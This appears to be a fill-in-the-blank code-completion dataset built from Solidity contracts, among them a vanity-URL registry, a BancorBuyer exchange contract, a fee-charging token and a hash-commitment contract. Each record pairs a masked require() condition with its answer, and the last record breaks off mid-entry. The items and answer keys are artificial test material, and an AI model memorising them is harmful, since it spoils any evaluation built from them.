pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { require(<FILL_ME>) require(bytes(address_vanity_mapping[msg.sender]).length != 0); address_vanity_mapping[_to] = address_vanity_mapping[msg.sender]; vanity_address_mapping[address_vanity_mapping[msg.sender]] = _to; VanityTransfered(msg.sender,_to,address_vanity_mapping[msg.sender]); delete(address_vanity_mapping[msg.sender]); } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
bytes(address_vanity_mapping[_to]).length==0
370,944
bytes(address_vanity_mapping[_to]).length==0
null
pragma solidity ^0.4.19; /** * Contract for Vanity URL on SpringRole * Go to beta.springrole.com to try this out! */ contract Token{ function doTransfer(address _from, address _to, uint256 _value) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of “user permissions”. */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } /** * @title VanityURL * @dev The VanityURL contract provides functionality to reserve vanity URLs. * Go to https://beta.springrole.com to reserve. */ contract VanityURL is Ownable,Pausable { // This declares a state variable that would store the contract address Token public tokenAddress; // This declares a state variable that mapping for vanityURL to address mapping (string => address) vanity_address_mapping; // This declares a state variable that mapping for address to vanityURL mapping (address => string ) address_vanity_mapping; // This declares a state variable that stores pricing uint256 public reservePricing; // This declares a state variable address to which token to be transfered address public transferTokenTo; /* constructor function to set token address & Pricing for reserving and token transfer address */ function VanityURL(address _tokenAddress, uint256 _reservePricing, address _transferTokenTo){ } event VanityReserved(address _to, string _vanity_url); event VanityTransfered(address _to,address _from, string _vanity_url); event VanityReleased(string _vanity_url); /* function to update Token address */ function updateTokenAddress (address _tokenAddress) onlyOwner public { } /* function to update transferTokenTo */ function updateTokenTransferAddress (address _transferTokenTo) onlyOwner public { } /* function to set reserve pricing */ function setReservePricing (uint256 _reservePricing) onlyOwner public { } /* function to retrive wallet address from vanity url */ function retrieveWalletForVanity(string _vanity_url) constant public returns (address) { } /* function to retrive vanity url from address */ function retrieveVanityForWallet(address _address) constant public returns (string) { } /* function to reserve vanityURL 1. Checks if vanity is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Transfer the token 6. Update the mapping variables */ function reserve(string _vanity_url) whenNotPaused public { } /* function to make lowercase */ function _toLower(string str) internal returns (string) { } /* function to verify vanityURL 1. Minimum length 4 2.Maximum lenght 200 3.Vanity url is only alphanumeric */ function checkForValidity(string _vanity_url) returns (bool) { } /* function to change Vanity URL 1. Checks whether vanity URL is check is valid 2. Checks if address has already a vanity url 3. check if vanity url is used by any other or not 4. Check if vanity url is present in reserved keyword 5. Update the mapping variables */ function changeVanityURL(string _vanity_url) whenNotPaused public { } /* function to transfer ownership for Vanity URL */ function transferOwnershipForVanityURL(address _to) whenNotPaused public { } /* function to transfer ownership for Vanity URL by Owner */ function reserveVanityURLByOwner(address _to,string _vanity_url) whenNotPaused onlyOwner public { } /* function to release a Vanity URL by Owner */ function releaseVanityUrl(string _vanity_url) whenNotPaused onlyOwner public { require(<FILL_ME>) /* delete from address mapping */ delete(address_vanity_mapping[vanity_address_mapping[_vanity_url]]); /* delete from vanity mapping */ delete(vanity_address_mapping[_vanity_url]); /* sending VanityReleased event */ VanityReleased(_vanity_url); } /* function to kill contract */ function kill() onlyOwner { } /* transfer eth recived to owner account if any */ function() payable { } }
vanity_address_mapping[_vanity_url]!=address(0x0)
370,944
vanity_address_mapping[_vanity_url]!=address(0x0)
null
//pragma experimental ABIEncoderV2; contract IMultiToken { function tokensCount() external view returns(uint16 count); function tokens(uint256 i) public view returns(ERC20); function weights(address t) public view returns(uint256); function totalSupply() public view returns(uint256); function bundle(address _to, uint256 _amount) public; } contract BancorBuyer { using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public tokenBalances; // [owner][token] function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) { } function allBalances(address _account, address[] _tokens) public view returns(uint256[]) { } function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external { if (msg.value > 0) { balances[_beneficiary] = balances[_beneficiary].add(msg.value); } for (uint i = 0; i < _tokens.length; i++) { ERC20 token = ERC20(_tokens[i]); uint256 tokenValue = _tokenValues[i]; uint256 balance = token.balanceOf(this); token.transferFrom(msg.sender, this, tokenValue); require(<FILL_ME>) tokenBalances[_beneficiary][token] = tokenBalances[_beneficiary][token].add(tokenValue); } } function withdrawInternal(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) internal { } function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external { } function withdrawAll(address _to, address[] _tokens) external { } // function approveAndCall(address _to, uint256 _value, bytes _data, address[] _tokens, uint256[] _tokenValues) payable external { // uint256[] memory tempBalances = new uint256[](_tokens.length); // for (uint i = 0; i < _tokens.length; i++) { // ERC20 token = ERC20(_tokens[i]); // uint256 tokenValue = _tokenValues[i]; // tempBalances[i] = token.balanceOf(this); // token.approve(_to, tokenValue); // } // require(_to.call.value(_value)(_data)); // balances[msg.sender] = balances[msg.sender].add(msg.value).sub(_value); // for (i = 0; i < _tokens.length; i++) { // token = ERC20(_tokens[i]); // tokenValue = _tokenValues[i]; // uint256 tokenSpent = tempBalances[i].sub(token.balanceOf(this)); // tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenSpent); // token.approve(_to, 0); // } // } function buyInternal( ERC20 token, address _exchange, uint256 _value, bytes _data ) internal { } function mintInternal( IMultiToken _mtkn, uint256[] _notUsedValues ) internal { } //////////////////////////////////////////////////////////////// function buy10( address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buy10mint( IMultiToken _mtkn, address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buyOne( address _token, address _exchange, uint256 _value, bytes _data ) payable public { } }
token.balanceOf(this)==balance.add(tokenValue)
370,967
token.balanceOf(this)==balance.add(tokenValue)
null
//pragma experimental ABIEncoderV2; contract IMultiToken { function tokensCount() external view returns(uint16 count); function tokens(uint256 i) public view returns(ERC20); function weights(address t) public view returns(uint256); function totalSupply() public view returns(uint256); function bundle(address _to, uint256 _amount) public; } contract BancorBuyer { using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public tokenBalances; // [owner][token] function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) { } function allBalances(address _account, address[] _tokens) public view returns(uint256[]) { } function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external { } function withdrawInternal(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) internal { if (_value > 0) { _to.transfer(_value); balances[msg.sender] = balances[msg.sender].sub(_value); } for (uint i = 0; i < _tokens.length; i++) { ERC20 token = ERC20(_tokens[i]); uint256 tokenValue = _tokenValues[i]; uint256 tokenBalance = token.balanceOf(this); token.transfer(_to, tokenValue); require(<FILL_ME>) tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenValue); } } function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external { } function withdrawAll(address _to, address[] _tokens) external { } // function approveAndCall(address _to, uint256 _value, bytes _data, address[] _tokens, uint256[] _tokenValues) payable external { // uint256[] memory tempBalances = new uint256[](_tokens.length); // for (uint i = 0; i < _tokens.length; i++) { // ERC20 token = ERC20(_tokens[i]); // uint256 tokenValue = _tokenValues[i]; // tempBalances[i] = token.balanceOf(this); // token.approve(_to, tokenValue); // } // require(_to.call.value(_value)(_data)); // balances[msg.sender] = balances[msg.sender].add(msg.value).sub(_value); // for (i = 0; i < _tokens.length; i++) { // token = ERC20(_tokens[i]); // tokenValue = _tokenValues[i]; // uint256 tokenSpent = tempBalances[i].sub(token.balanceOf(this)); // tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenSpent); // token.approve(_to, 0); // } // } function buyInternal( ERC20 token, address _exchange, uint256 _value, bytes _data ) internal { } function mintInternal( IMultiToken _mtkn, uint256[] _notUsedValues ) internal { } //////////////////////////////////////////////////////////////// function buy10( address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buy10mint( IMultiToken _mtkn, address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buyOne( address _token, address _exchange, uint256 _value, bytes _data ) payable public { } }
token.balanceOf(this)==tokenBalance.sub(tokenValue)
370,967
token.balanceOf(this)==tokenBalance.sub(tokenValue)
"buyInternal: Do not try to call transfer, approve or transferFrom"
//pragma experimental ABIEncoderV2; contract IMultiToken { function tokensCount() external view returns(uint16 count); function tokens(uint256 i) public view returns(ERC20); function weights(address t) public view returns(uint256); function totalSupply() public view returns(uint256); function bundle(address _to, uint256 _amount) public; } contract BancorBuyer { using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public tokenBalances; // [owner][token] function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) { } function allBalances(address _account, address[] _tokens) public view returns(uint256[]) { } function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external { } function withdrawInternal(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) internal { } function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external { } function withdrawAll(address _to, address[] _tokens) external { } // function approveAndCall(address _to, uint256 _value, bytes _data, address[] _tokens, uint256[] _tokenValues) payable external { // uint256[] memory tempBalances = new uint256[](_tokens.length); // for (uint i = 0; i < _tokens.length; i++) { // ERC20 token = ERC20(_tokens[i]); // uint256 tokenValue = _tokenValues[i]; // tempBalances[i] = token.balanceOf(this); // token.approve(_to, tokenValue); // } // require(_to.call.value(_value)(_data)); // balances[msg.sender] = balances[msg.sender].add(msg.value).sub(_value); // for (i = 0; i < _tokens.length; i++) { // token = ERC20(_tokens[i]); // tokenValue = _tokenValues[i]; // uint256 tokenSpent = tempBalances[i].sub(token.balanceOf(this)); // tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenSpent); // token.approve(_to, 0); // } // } function buyInternal( ERC20 token, address _exchange, uint256 _value, bytes _data ) internal { require(<FILL_ME>) uint256 tokenBalance = token.balanceOf(this); require(_exchange.call.value(_value)(_data)); balances[msg.sender] = balances[msg.sender].sub(_value); tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token] .add(token.balanceOf(this).sub(tokenBalance)); } function mintInternal( IMultiToken _mtkn, uint256[] _notUsedValues ) internal { } //////////////////////////////////////////////////////////////// function buy10( address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buy10mint( IMultiToken _mtkn, address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buyOne( address _token, address _exchange, uint256 _value, bytes _data ) payable public { } }
!(_data[0]==0xa9&&_data[1]==0x05&&_data[2]==0x9c&&_data[3]==0xbb)&&!(_data[0]==0x09&&_data[1]==0x5e&&_data[2]==0xa7&&_data[3]==0xb3)&&!(_data[0]==0x23&&_data[1]==0xb8&&_data[2]==0x72&&_data[3]==0xdd),"buyInternal: Do not try to call transfer, approve or transferFrom"
370,967
!(_data[0]==0xa9&&_data[1]==0x05&&_data[2]==0x9c&&_data[3]==0xbb)&&!(_data[0]==0x09&&_data[1]==0x5e&&_data[2]==0xa7&&_data[3]==0xb3)&&!(_data[0]==0x23&&_data[1]==0xb8&&_data[2]==0x72&&_data[3]==0xdd)
null
//pragma experimental ABIEncoderV2; contract IMultiToken { function tokensCount() external view returns(uint16 count); function tokens(uint256 i) public view returns(ERC20); function weights(address t) public view returns(uint256); function totalSupply() public view returns(uint256); function bundle(address _to, uint256 _amount) public; } contract BancorBuyer { using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public tokenBalances; // [owner][token] function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) { } function allBalances(address _account, address[] _tokens) public view returns(uint256[]) { } function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external { } function withdrawInternal(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) internal { } function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external { } function withdrawAll(address _to, address[] _tokens) external { } // function approveAndCall(address _to, uint256 _value, bytes _data, address[] _tokens, uint256[] _tokenValues) payable external { // uint256[] memory tempBalances = new uint256[](_tokens.length); // for (uint i = 0; i < _tokens.length; i++) { // ERC20 token = ERC20(_tokens[i]); // uint256 tokenValue = _tokenValues[i]; // tempBalances[i] = token.balanceOf(this); // token.approve(_to, tokenValue); // } // require(_to.call.value(_value)(_data)); // balances[msg.sender] = balances[msg.sender].add(msg.value).sub(_value); // for (i = 0; i < _tokens.length; i++) { // token = ERC20(_tokens[i]); // tokenValue = _tokenValues[i]; // uint256 tokenSpent = tempBalances[i].sub(token.balanceOf(this)); // tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenSpent); // token.approve(_to, 0); // } // } function buyInternal( ERC20 token, address _exchange, uint256 _value, bytes _data ) internal { require( // 0xa9059cbb - transfer(address,uint256) !(_data[0] == 0xa9 && _data[1] == 0x05 && _data[2] == 0x9c && _data[3] == 0xbb) && // 0x095ea7b3 - approve(address,uint256) !(_data[0] == 0x09 && _data[1] == 0x5e && _data[2] == 0xa7 && _data[3] == 0xb3) && // 0x23b872dd - transferFrom(address,address,uint256) !(_data[0] == 0x23 && _data[1] == 0xb8 && _data[2] == 0x72 && _data[3] == 0xdd), "buyInternal: Do not try to call transfer, approve or transferFrom" ); uint256 tokenBalance = token.balanceOf(this); require(<FILL_ME>) balances[msg.sender] = balances[msg.sender].sub(_value); tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token] .add(token.balanceOf(this).sub(tokenBalance)); } function mintInternal( IMultiToken _mtkn, uint256[] _notUsedValues ) internal { } //////////////////////////////////////////////////////////////// function buy10( address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buy10mint( IMultiToken _mtkn, address[] _tokens, address[] _exchanges, uint256[] _values, bytes _data1, bytes _data2, bytes _data3, bytes _data4, bytes _data5, bytes _data6, bytes _data7, bytes _data8, bytes _data9, bytes _data10 ) payable public { } //////////////////////////////////////////////////////////////// function buyOne( address _token, address _exchange, uint256 _value, bytes _data ) payable public { } }
_exchange.call.value(_value)(_data)
370,967
_exchange.call.value(_value)(_data)
"Pair does not match!"
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.3; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IMoonCatRescue.sol"; import "./IMoonCatsWrapped.sol"; /** * @title MoonCat Order Lookup * @notice A space to have an on-chain record mapping token IDs for OLD_MCRW to their original "rescue order" IDs * @dev This contract exists because there is no MoonCat ID => Rescue ID function * on the original MoonCatRescue contract. The only way to tell a given MoonCat's * rescue order if you don't know it is to iterate through the whole `rescueOrder` * array. Looping through that whole array in a smart contract would be * prohibitively high gas-usage, and so this alternative is needed. */ contract MoonCatOrderLookup is Ownable { MoonCatRescue MCR = MoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6); MoonCatsWrapped OLD_MCRW = MoonCatsWrapped(0x7C40c393DC0f283F318791d746d894DdD3693572); uint256[25600] private _oldTokenIdToRescueOrder; uint8 constant VALUE_OFFSET = 10; constructor() Ownable() {} /** * @dev Submit a batch of token IDs, and their associated rescue orders * This is the primary method for the utility of the contract. Anyone * can submit this pairing information (not just the owners of the token) * and the information can be submitted in batches. * * Submitting pairs of token IDs with their rescue orders is verified with * the original MoonCatRescue contract before recording. * * Within the private array holding this information, a VALUE_OFFSET is used * to differentiate between "not set" and "set to zero" (because Solidity * has no concept of "null" or "undefined"). Because the maximum value of the * rescue ordering can only be 25,600, we can safely shift the stored values * up, and not hit the uint256 limit. */ function submitRescueOrder( uint256[] memory oldTokenIds, uint16[] memory rescueOrders ) public { for (uint256 i = 0; i < oldTokenIds.length; i++) { require(<FILL_ME>) _oldTokenIdToRescueOrder[oldTokenIds[i]] = rescueOrders[i] + VALUE_OFFSET; } } /** * @dev verify a given old token ID is mapped yet or not * * This function can use just a zero-check because internally all values are * stored with a VALUE_OFFSET added onto them (e.g. storing an actual zero * is saved as 0 + VALUE_OFFSET = 10, internally), so anything set to an * actual zero means "unset". */ function _exists(uint256 oldTokenId) internal view returns (bool) { } /** * @dev public function to verify whether a given old token ID is mapped or not */ function oldTokenIdExists(uint256 oldTokenId) public view returns(bool) { } /** * @dev given an old token ID, return the rescue order of that MoonCat * * Throws an error if that particular token ID does not have a recorded * mapping to a rescue order. */ function oldTokenIdToRescueOrder(uint256 oldTokenId) public view returns(uint256) { } /** * @dev remove a mapping from the data structure * * This allows reclaiming some gas, so as part of the re-wrapping process, * this gets called by the Acclimator contract, to recoup some gas for the * MoonCat owner. */ function removeEntry(uint256 _oldTokenId) public onlyOwner { } /** * @dev for a given address, iterate through all the tokens they own in the * old wrapping contract, and for each of them, determine how many are mapped * in this lookup contract. * * This method is used by the Acclimator `balanceOf` and `tokenOfOwnerByIndex` * to be able to enumerate old-wrapped MoonCats as if they were already * re-wrapped in the Acclimator contract. */ function entriesPerAddress(address _owner) public view returns (uint256) { } }
MCR.rescueOrder(rescueOrders[i])==OLD_MCRW._tokenIDToCatID(oldTokenIds[i]),"Pair does not match!"
370,990
MCR.rescueOrder(rescueOrders[i])==OLD_MCRW._tokenIDToCatID(oldTokenIds[i])
"That token ID is not mapped yet"
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.3; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IMoonCatRescue.sol"; import "./IMoonCatsWrapped.sol"; /** * @title MoonCat Order Lookup * @notice A space to have an on-chain record mapping token IDs for OLD_MCRW to their original "rescue order" IDs * @dev This contract exists because there is no MoonCat ID => Rescue ID function * on the original MoonCatRescue contract. The only way to tell a given MoonCat's * rescue order if you don't know it is to iterate through the whole `rescueOrder` * array. Looping through that whole array in a smart contract would be * prohibitively high gas-usage, and so this alternative is needed. */ contract MoonCatOrderLookup is Ownable { MoonCatRescue MCR = MoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6); MoonCatsWrapped OLD_MCRW = MoonCatsWrapped(0x7C40c393DC0f283F318791d746d894DdD3693572); uint256[25600] private _oldTokenIdToRescueOrder; uint8 constant VALUE_OFFSET = 10; constructor() Ownable() {} /** * @dev Submit a batch of token IDs, and their associated rescue orders * This is the primary method for the utility of the contract. Anyone * can submit this pairing information (not just the owners of the token) * and the information can be submitted in batches. * * Submitting pairs of token IDs with their rescue orders is verified with * the original MoonCatRescue contract before recording. * * Within the private array holding this information, a VALUE_OFFSET is used * to differentiate between "not set" and "set to zero" (because Solidity * has no concept of "null" or "undefined"). Because the maximum value of the * rescue ordering can only be 25,600, we can safely shift the stored values * up, and not hit the uint256 limit. */ function submitRescueOrder( uint256[] memory oldTokenIds, uint16[] memory rescueOrders ) public { } /** * @dev verify a given old token ID is mapped yet or not * * This function can use just a zero-check because internally all values are * stored with a VALUE_OFFSET added onto them (e.g. storing an actual zero * is saved as 0 + VALUE_OFFSET = 10, internally), so anything set to an * actual zero means "unset". */ function _exists(uint256 oldTokenId) internal view returns (bool) { } /** * @dev public function to verify whether a given old token ID is mapped or not */ function oldTokenIdExists(uint256 oldTokenId) public view returns(bool) { } /** * @dev given an old token ID, return the rescue order of that MoonCat * * Throws an error if that particular token ID does not have a recorded * mapping to a rescue order. */ function oldTokenIdToRescueOrder(uint256 oldTokenId) public view returns(uint256) { require(<FILL_ME>) return _oldTokenIdToRescueOrder[oldTokenId] - VALUE_OFFSET; } /** * @dev remove a mapping from the data structure * * This allows reclaiming some gas, so as part of the re-wrapping process, * this gets called by the Acclimator contract, to recoup some gas for the * MoonCat owner. */ function removeEntry(uint256 _oldTokenId) public onlyOwner { } /** * @dev for a given address, iterate through all the tokens they own in the * old wrapping contract, and for each of them, determine how many are mapped * in this lookup contract. * * This method is used by the Acclimator `balanceOf` and `tokenOfOwnerByIndex` * to be able to enumerate old-wrapped MoonCats as if they were already * re-wrapped in the Acclimator contract. */ function entriesPerAddress(address _owner) public view returns (uint256) { } }
_exists(oldTokenId),"That token ID is not mapped yet"
370,990
_exists(oldTokenId)
"New fee must be equal or bigger then zero."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; /// @custom:security-contact [email protected] contract Eurovirtual is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, PausableUpgradeable, OwnableUpgradeable, ERC20PermitUpgradeable { using SafeMath for uint256; // address that will receive the fees address public _feeWallet; // fee in basis points uint256 public _fee; // make sure that the initialize function is called one time only bool private initialized; event SetFee(uint256 newFee); event SetFeeWallet(address newFeeWallet); function initialize(address feeWallet, uint256 fee) initializer public { } function setFee(uint256 _newFee) public onlyOwner { require(<FILL_ME>) _fee = _newFee; emit SetFee(_newFee); } function setFeeWallet(address _newFeeWallet) public onlyOwner validAddress(_newFeeWallet) { } function calculateFee(uint256 _amount) internal view returns (uint256) { } function pause() public onlyOwner { } function unpause() public onlyOwner { } function mint(address to, uint256 amount) public onlyOwner { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { } function _transfer(address sender, address recipient, uint256 amount) internal override virtual validAddress(recipient) { } function _approve(address owner, address spender, uint256 amount) internal override virtual validAddress(spender) { } modifier validAddress(address _recipient) virtual { } }
(_newFee>=0)&&(_newFee<10000),"New fee must be equal or bigger then zero."
371,008
(_newFee>=0)&&(_newFee<10000)
"Commitment with that hash already exists, try adding a salt."
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; /** * @author Kelvin Fichter (@kelvinfichter) * @notice Simple contract for making hash commitments. */ contract CommitMe { /* * Structs */ struct Commitment { address creator; uint256 block; uint256 timestamp; } /* * Public Variables */ mapping (bytes32 => Commitment) public commitments; /* * Public Functions */ /** * @notice Allows a user to create a commitment. * @param _hash Hash of the committed data. */ function commit(bytes32 _hash) public { Commitment storage commitment = commitments[_hash]; require(<FILL_ME>) commitment.creator = msg.sender; commitment.block = block.number; commitment.timestamp = block.timestamp; } /** * @notice Checks if a message was committed. * @param _message Message to check. * @return Commitment corresponding to the given message. */ function verify( bytes memory _message ) public view returns (Commitment memory) { } /* * Private Functions */ /** * @notice Checks if a specific commitment has been made. * @param _hash Hash of the commitment to check. * @return `true` if the commitment has been made, `false` otherwise. */ function commitmentExists(bytes32 _hash) private view returns (bool) { } }
!commitmentExists(_hash),"Commitment with that hash already exists, try adding a salt."
371,093
!commitmentExists(_hash)
"Commitment with that hash does not exist."
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; /** * @author Kelvin Fichter (@kelvinfichter) * @notice Simple contract for making hash commitments. */ contract CommitMe { /* * Structs */ struct Commitment { address creator; uint256 block; uint256 timestamp; } /* * Public Variables */ mapping (bytes32 => Commitment) public commitments; /* * Public Functions */ /** * @notice Allows a user to create a commitment. * @param _hash Hash of the committed data. */ function commit(bytes32 _hash) public { } /** * @notice Checks if a message was committed. * @param _message Message to check. * @return Commitment corresponding to the given message. */ function verify( bytes memory _message ) public view returns (Commitment memory) { bytes32 hash = keccak256(_message); Commitment memory commitment = commitments[hash]; require(<FILL_ME>) return commitment; } /* * Private Functions */ /** * @notice Checks if a specific commitment has been made. * @param _hash Hash of the commitment to check. * @return `true` if the commitment has been made, `false` otherwise. */ function commitmentExists(bytes32 _hash) private view returns (bool) { } }
commitmentExists(hash),"Commitment with that hash does not exist."
371,093
commitmentExists(hash)
"Supply limit reached"
